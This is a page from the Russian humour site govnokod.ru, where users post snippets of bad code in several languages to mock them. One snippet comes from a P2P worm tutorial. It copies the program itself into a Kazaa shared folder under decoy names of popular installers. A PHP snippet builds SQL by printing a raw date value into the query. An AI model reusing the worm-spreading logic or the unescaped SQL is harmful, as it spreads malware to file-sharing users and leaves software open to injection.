- 1
- 2
- 3
- 4
Ingeter[] i = new Integer[1];
for (i = 0; i<n; i++) {
//что-то происходит
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+77
Ingeter[] i = new Integer[1];
for (i = 0; i<n; i++) {
//что-то происходит
}
здесь все по-серьезному
+176
/**
* получить перечень экзаменов на указанную дату
* @global GathererDB $db
* @param string $examdate must be $db->qstr()'ed
* @return array
*/
function examsOnDate($examdate)
{
global $db;
ob_start();
?>
select distinct e.EXAMID from EXAMS e
inner join STATIONEXAMS se on se.EXAMFK=e.SYS_GUID
inner join PARTICIPANTSEXAMS pe on pe.EXAMFK=e.SYS_GUID
where e.EXAMDATE=<?php print $examdate; ?>
<?php
$sql = ob_get_clean();
$exams = $db->getcol($sql);
return $exams;
}
Из скрипта для обслуживания сайта ЕГЭ.
Изумительное применение буфера.
+87
Boolean.valueOf("1".equals(object[1].toString())?"true":"false"))
+135
randomize(); //Включаем генератор случайных чисел.
ra = random(11)+1; //Генерим число от 1 до 11 и если выбрали то переходим вниз по коду.
switch (ra)
{
case 1 : strcat(KazaaFull, "\\winamp502_full.exe"); break;
case 2 : strcat(KazaaFull, "\\spdialer.exe"); break;
case 3 : strcat(KazaaFull, "\\rammstein.scr"); break;
case 4 : strcat(KazaaFull, "\\mozilla-1.6-win32-installer.exe"); break;
case 5 : strcat(KazaaFull, "\\cdex_160_enu.exe"); break;
//Присоединяем к пути новое имя.
case 6 : strcat(KazaaFull, "\\kavperspro45rus.exe"); break;
//Я говорил про запасную переменную.
case 7 : strcat(KazaaFull, "\\restorator_4.0.exe"); break;
// Мы юзаем "\\" потому что так нужно.
case 8 : strcat(KazaaFull, "\\win_rar330.exe"); break;
case 9 : strcat(KazaaFull, "\\mdialer_4.exe"); break;
case 10 : strcat(KazaaFull, "\\apache_1.3.22-PL30.9-win32-x86.exe"); break;
case 11 : strcat(KazaaFull, "\\offline_explorer_3.0_setup.exe"); break;
}
CopyFile(myname, KazaaFull, FALSE);
//Ну и копируем свое тело в папку KazaaFull
http://www.makak.ru/2007/11/09/wormp2p-svoimi-rukami/
+171
const_cast<TRefalAbstract*>(this)=new TRefal();
+162
<script type="text/javascript">
............................
var titlePubOk = "<?php echo 'Показано'; ?>";
var titlePubNo = "<?php echo 'Скрыто'; ?>";
............................
</script>
Вот обновляю систему и вдруг обнаружил собственный, самый натуральный говнокод. Это - невероятно!
+128
public string GetUserCurrentStage(int stage)
{
string stageName = "";
if (stage == 1)
stageName += "Initial Certification";
else if (stage == 2)
{
stageName += "Maintenance *";
}
else if (stage == 3)
stageName += "Recertification";
else
return string.Empty;
return stageName;
}
Когда платят за строчки кода...
+159
$this->addException(Mage::helper('dataflow')->__('Found %d rows.', $this->_countRows));
$this->addException(Mage::helper('dataflow')->__('Starting %s :: %s', $adapterName, $adapterMethod));
$batchModel->setParams($this->getVars())
->setAdapter($adapterName)
->save();
// $adapter->$adapterMethod();
return $this;
$dom = new DOMDocument();
// $dom->loadXML($this->getData());
if (Mage::app()->getRequest()->getParam('files')) {
$path = Mage::app()->getConfig()->getTempVarDir().'/import/';
$file = $path.urldecode(Mage::app()->getRequest()->getParam('files'));
if (file_exists($file)) {
$dom->load($file);
}
} else {
$this->validateDataString();
$dom->loadXML($this->getData());
}
Magento 1.5 stable. после return'a идёт около 70 строк... Насладиться можно тут http://svn.magentocommerce.com/source/branches/1.5/app/code/core/Mage/Dataflow/Model/Convert/Parser/Xml/Excel.php
+158
<?php echo $this->getMessagesBlock()->getGroupedHtml() ?>
<?php echo $this->getChildHtml('form_before') ?>
<form action="<?php echo $this->getUrl('checkout/cart/updatePost') ?>" method="post">
<fieldset>
<table id="shopping-cart-table" class="data-table cart-table">
<col width="1" />
<col />
<col width="1" />
<?php if ($this->helper('wishlist')->isAllowInCart()) : ?>
<col width="1" />
<?php endif ?>
<?php if ($this->helper('tax')->displayCartPriceExclTax() || $this->helper('tax')->displayCartBothPrices()): ?>
<col width="1" />
<?php endif; ?>
<?php if ($this->helper('tax')->displayCartPriceInclTax() || $this->helper('tax')->displayCartBothPrices()): ?>
<col width="1" />
<?php endif; ?>
<col width="1" />
<?php if ($this->helper('tax')->displayCartPriceExclTax() || $this->helper('tax')->displayCartBothPrices()): ?>
<col width="1" />
<?php endif; ?>
<?php if ($this->helper('tax')->displayCartPriceInclTax() || $this->helper('tax')->displayCartBothPrices()): ?>
<col width="1" />
<?php endif; ?>
<col width="1" />
<?php $mergedCells = ($this->helper('tax')->displayCartBothPrices() ? 2 : 1); ?>
Ну так, для уверенности, можно и 4 раза. Искал в этом смысл - смысла не найдено. Copyright (c) 2011 Magento Inc.
+158
private function exportPTCsvFile(array $transactions, array $refunds, $fileName)
{
$csv[] = array('Date', 'Time Zone', 'Name', 'Type', ' Status', 'Currency', 'Gross', 'Fee', 'Net', 'From Email Address', 'Transaction ID', ' Item Title', 'Deal ID', 'Deal City', 'Merchant ID', 'User ID', 'Purchase Date', 'CMS Transaction ID', 'CMS Quantity', 'CMS Amount', 'Kash Used', 'CC Digits', 'Coupon Link', 'Paymentech Response');
// headers...
foreach ($csv as $titles) {
print utf8_encode(implode(',', $titles))."\n";
}
// Rest of code...
}